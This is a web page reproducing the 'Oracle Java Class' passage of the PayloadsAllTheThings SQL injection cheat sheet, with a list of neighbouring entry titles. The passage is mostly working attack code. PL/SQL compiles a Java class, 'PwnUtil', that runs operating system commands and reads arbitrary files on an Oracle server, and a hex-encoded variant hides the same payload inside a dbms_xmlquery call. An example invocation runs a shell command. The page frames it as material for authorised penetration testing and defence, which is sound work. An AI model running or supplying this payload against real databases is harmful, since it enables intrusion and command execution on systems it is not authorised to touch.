Skip to content

SQL Injection · passage 130 of 186

OracleSQL Injection: Oracle Java Class

Text · SQL Injection/OracleSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

* Create Java class ```sql BEGIN EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};'; END; BEGIN EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; END; -- hex encoded payload SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual ``` * Run OS command ```sql SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; ```

Source: SQL Injection/OracleSQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 105 to 130, reading order first.

  1. MySQL Injection: MYSQL Truncation§ 1051 code block · MySQL Injection.md
  2. MySQL Injection: MYSQL Out of Band§ 1061 code block · MySQL Injection.md
  3. MySQL Injection: DNS Exfiltration§ 1071 code block · MySQL Injection.md
  4. MySQL Injection: UNC Path - NTLM Hash Stealing§ 1081 code block · MySQL Injection.md
  5. MySQL Injection: Alternative to Information Schema§ 1091 code block · MySQL Injection.md
  6. MySQL Injection: Alternative to VERSION§ 1101 code block · MySQL Injection.md
  7. MySQL Injection: Alternative to GROUPCONCAT§ 1111 code block · MySQL Injection.md
  8. MySQL Injection: Scientific Notation§ 112text · MySQL Injection.md
  9. MySQL Injection: Conditional Comments§ 113text · MySQL Injection.md
  10. MySQL Injection: Wide Byte Injection (GBK)§ 1142 code blocks · MySQL Injection.md
  11. OracleSQL Injection: Oracle SQL Injection§ 115text · OracleSQL Injection.md
  12. OracleSQL Injection: Oracle SQL Default Databases§ 116text · OracleSQL Injection.md
  13. OracleSQL Injection: Oracle SQL Comments§ 117text · OracleSQL Injection.md
  14. OracleSQL Injection: Oracle SQL Enumeration§ 118text · OracleSQL Injection.md
  15. OracleSQL Injection: Oracle SQL Database Credentials§ 119text · OracleSQL Injection.md
  16. OracleSQL Injection: Oracle SQL List Databases§ 1201 code block · OracleSQL Injection.md
  17. OracleSQL Injection: Oracle SQL List Tables§ 1211 code block · OracleSQL Injection.md
  18. OracleSQL Injection: Oracle SQL List Columns§ 1221 code block · OracleSQL Injection.md
  19. OracleSQL Injection: Oracle SQL Error Based§ 123text · OracleSQL Injection.md
  20. OracleSQL Injection: Oracle SQL Blind§ 124text · OracleSQL Injection.md
  21. OracleSQL Injection: Oracle Blind With Substring Equivalent§ 125text · OracleSQL Injection.md
  22. OracleSQL Injection: Oracle SQL Time Based§ 1261 code block · OracleSQL Injection.md
  23. OracleSQL Injection: Oracle SQL Out of Band§ 1271 code block · OracleSQL Injection.md
  24. OracleSQL Injection: Oracle SQL Command Execution§ 128text · OracleSQL Injection.md
  25. OracleSQL Injection: Oracle Java Execution§ 129text · OracleSQL Injection.md
  26. OracleSQL Injection: Oracle Java Class§ 130text · OracleSQL Injection.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

Updated AboutDevelopersSign in